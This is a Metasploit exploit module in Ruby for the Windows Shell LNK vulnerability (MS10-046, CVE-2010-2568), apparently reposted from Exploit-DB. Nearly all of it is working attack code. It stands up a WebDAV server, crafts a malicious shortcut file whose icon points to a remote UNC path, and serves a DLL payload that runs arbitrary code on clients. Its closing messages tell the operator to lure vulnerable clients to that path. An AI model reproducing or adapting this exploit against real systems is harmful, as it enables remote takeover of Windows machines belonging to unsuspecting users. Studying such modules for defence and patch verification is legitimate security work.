Microsoft Windows – Shell LNK Code Execution (MS10-046) (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16574/
  • ##
    # $Id: ms10_046_shortcut_icon_dllloader.rb 10404 2010-09-21 00:13:30Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	#
    	# This module acts as an HTTP server
    	#
    	include Msf::Exploit::Remote::HttpServer::HTML
    	include Msf::Exploit::EXE
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name'			=> 'Microsoft Windows Shell LNK Code Execution',
    			'Description'	=> %q{
    					This module exploits a vulnerability in the handling of Windows
    				Shortcut files (.LNK) that contain an icon resource pointing to a
    				malicious DLL. This module creates a WebDAV service that can be used
    				to run an arbitrary payload when accessed as a UNC path.
    			},
    			'Author'		=>
    				[
    					'hdm', # Module itself
    					'jduck', # WebDAV implementation, UNCHOST var
    					'B_H'# Clean LNK template
    				],
    			'License'		=> MSF_LICENSE,
    			'Version'		=> '$Revision: 10404 $',
    			'References'	=>
    				[
    					['CVE', '2010-2568'],
    					['OSVDB', '66387'],
    					['MSB', 'MS10-046'],
    					['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx']
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    				},
    			'Payload'		=>
    				{
    					'Space'	=> 2048,
    				},
    			'Platform'		=> 'win',
    			'Targets'		=>
    				[
    					[ 'Automatic',	{ } ]
    				],
    			'DisclosureDate' => 'Jul 16 2010',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptPort.new(	'SRVPORT',		 [ true,"The daemon port to listen on (do not change)", 80 ]),
    				OptString.new(	'URIPATH',		 [ true,"The URI to use (do not change).", "/" ]),
    				OptString.new( 'UNCHOST',[ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
    			], self.class)
    
    		deregister_options('SSL', 'SSLVersion') # Just for now
    	end
    
    	def on_request_uri(cli, request)
    
    		case request.method
    		when 'OPTIONS'
    			process_options(cli, request)
    		when 'PROPFIND'
    			process_propfind(cli, request)
    		when 'GET'
    			process_get(cli, request)
    		else
    			print_error("Unexpected request method encountered: #{request.method}")
    			resp = create_response(404, "Not Found")
    			resp.body = ""
    			resp['Content-Type'] = 'text/html'
    			cli.send_response(resp)
    		end
    
    	end
    
    	def process_get(cli, request)
    
    		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    		webdav = "\\\\#{myhost}\\"
    
    		if (request.uri =~ /\.dll$/i)
    			print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..."
    			return if ((p = regenerate_payload(cli)) == nil)
    			data = generate_payload_dll({ :code => p.encoded })
    			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
    			return
    		end
    
    		if (request.uri =~ /\.lnk$/i)
    			print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..."
    
    			data = generate_link("#{@exploit_unc}#{@exploit_dll}")
    
    			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
    			return
    		end
    
    		print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..."
    		resp = create_response(200, "OK")
    
    		resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}"></head><body></body></html>|
    
    		resp['Content-Type'] = 'text/html'
    		cli.send_response(resp)
    	end
    
    	#
    	# OPTIONS requests sent by the WebDav Mini-Redirector
    	#
    	def process_options(cli, request)
    		print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
    		headers = {
    			'MS-Author-Via' => 'DAV',
    #			'DASL'=> '<DAV:sql>',
    #			'DAV' => '1, 2',
    			'Allow' => 'OPTIONS, GET, PROPFIND',
    			'Public'=> 'OPTIONS, GET, PROPFIND'
    		}
    		resp = create_response(207, "Multi-Status")
    		resp.body = ""
    		resp['Content-Type'] = 'text/xml'
    		cli.send_response(resp)
    	end
    
    	#
    	# PROPFIND requests sent by the WebDav Mini-Redirector
    	#
    	def process_propfind(cli, request)
    		path = request.uri
    		print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
    		body = ''
    
    		my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    		my_uri= "http://#{my_host}/"
    
    		if path =~ /\.dll$/i
    			# Response for the DLL
    			print_status("Sending DLL multistatus for #{path} ...")
    			body = %Q|<?xml version="1.0" encoding="utf-8"?>
    <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}#{@exploit_dll}</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype/>
    <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
    <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <lp2:executable>T</lp2:executable>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>application/octet-stream</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    </D:multistatus>
    |
    
    			resp = create_response(207, "Multi-Status")
    			resp.body = body
    			resp['Content-Type'] = 'text/xml'
    			cli.send_response(resp)
    			return
    		end
    
    		if path =~ /\.lnk$/i
    			# Response for the DLL
    			print_status("Sending DLL multistatus for #{path} ...")
    			body = %Q|<?xml version="1.0" encoding="utf-8"?>
    <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}#{@exploit_lnk}</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype/>
    <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    <lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
    <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <lp2:executable>T</lp2:executable>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>shortcut</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    </D:multistatus>
    |
    
    			resp = create_response(207, "Multi-Status")
    			resp.body = body
    			resp['Content-Type'] = 'text/xml'
    			cli.send_response(resp)
    			return
    		end
    
    		if path !~ /\/$/
    
    			if path.index(".")
    				print_status("Sending 404 for #{path} ...")
    				resp = create_response(404, "Not Found")
    				resp['Content-Type'] = 'text/html'
    				cli.send_response(resp)
    				return
    			else
    				print_status("Sending 301 for #{path} ...")
    				resp = create_response(301, "Moved")
    				resp["Location"] = path + "/"
    				resp['Content-Type'] = 'text/html'
    				cli.send_response(resp)
    				return
    			end
    		end
    
    		print_status("Sending directory multistatus for #{path} ...")
    		body = %Q|<?xml version="1.0" encoding="utf-8"?>
    <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    	<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    		<D:href>#{path}</D:href>
    		<D:propstat>
    			<D:prop>
    				<lp1:resourcetype><D:collection/></lp1:resourcetype>
    				<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    				<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    				<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    				<D:supportedlock>
    					<D:lockentry>
    						<D:lockscope><D:exclusive/></D:lockscope>
    						<D:locktype><D:write/></D:locktype>
    					</D:lockentry>
    					<D:lockentry>
    						<D:lockscope><D:shared/></D:lockscope>
    						<D:locktype><D:write/></D:locktype>
    					</D:lockentry>
    				</D:supportedlock>
    				<D:lockdiscovery/>
    				<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    			</D:prop>
    		<D:status>HTTP/1.1 200 OK</D:status>
    	</D:propstat>
    </D:response>
    |
    
    
    		subdirectory = %Q|
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype><D:collection/></lp1:resourcetype>
    <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    |
    
    		files = %Q|
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}#{@exploit_dll}</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype/>
    <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
    <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <lp2:executable>T</lp2:executable>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>application/octet-stream</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}#{@exploit_lnk}</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype/>
    <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    <lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
    <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <lp2:executable>T</lp2:executable>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>shortcut</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    |
    		if request["Depth"].to_i > 0
    			if path.scan("/").length < 2
    				body << subdirectory
    			else
    				body << files
    			end
    		end
    
    		body << "</D:multistatus>"
    
    		body.gsub!(/\t/, '')
    
    		# send the response
    		resp = create_response(207, "Multi-Status")
    		resp.body = body
    		resp['Content-Type'] = 'text/xml; charset="utf8"'
    		cli.send_response(resp)
    	end
    
    	def generate_link(unc)
    		uni_unc = unc.unpack("C*").pack("v*")
    		path = ''
    		path << [
    			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
    			0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    		].pack("C*")
    		path << uni_unc
    
    		# LinkHeader
    		ret = [
    			0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
    			0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    		].pack('C*')
    
    		idlist_data = ''
    		idlist_data << [0x12 + 2].pack('v')
    		idlist_data << [
    			0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
    			0x30, 0x9d
    		].pack('C*')
    		idlist_data << [0x12 + 2].pack('v')
    		idlist_data << [
    			0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
    			0x30, 0x9d
    		].pack('C*')
    		idlist_data << [path.length + 2].pack('v')
    		idlist_data << path
    		idlist_data << [0x00].pack('v') # TERMINAL WOO
    
    		# LinkTargetIDList
    		ret << [idlist_data.length].pack('v') # IDListSize
    		ret << idlist_data
    
    		# ExtraData blocks (none)
    		ret << [rand(4)].pack('V')
    
    		# Patch in the LinkFlags
    		ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N')
    		ret
    	end
    
    	def exploit
    
    		unc = "\\\\"
    		if (datastore['UNCHOST'])
    			unc << datastore['UNCHOST'].dup
    		else
    			unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
    		end
    		unc << "\\"
    		unc << rand_text_alpha(rand(8)+4)
    		unc << "\\"
    
    		@exploit_unc= unc
    		@exploit_lnk= rand_text_alpha(rand(8)+4) + ".lnk"
    		@exploit_dll= rand_text_alpha(rand(8)+4) + ".dll"
    
    		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
    			raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
    		end
    
    		print_status("")
    		print_status("Send vulnerable clients to #{@exploit_unc}.")
    		print_status("Or, get clients to save and render the icon of http://<your host>/<anything>.lnk")
    		print_status("")
    
    		super
    	end
    end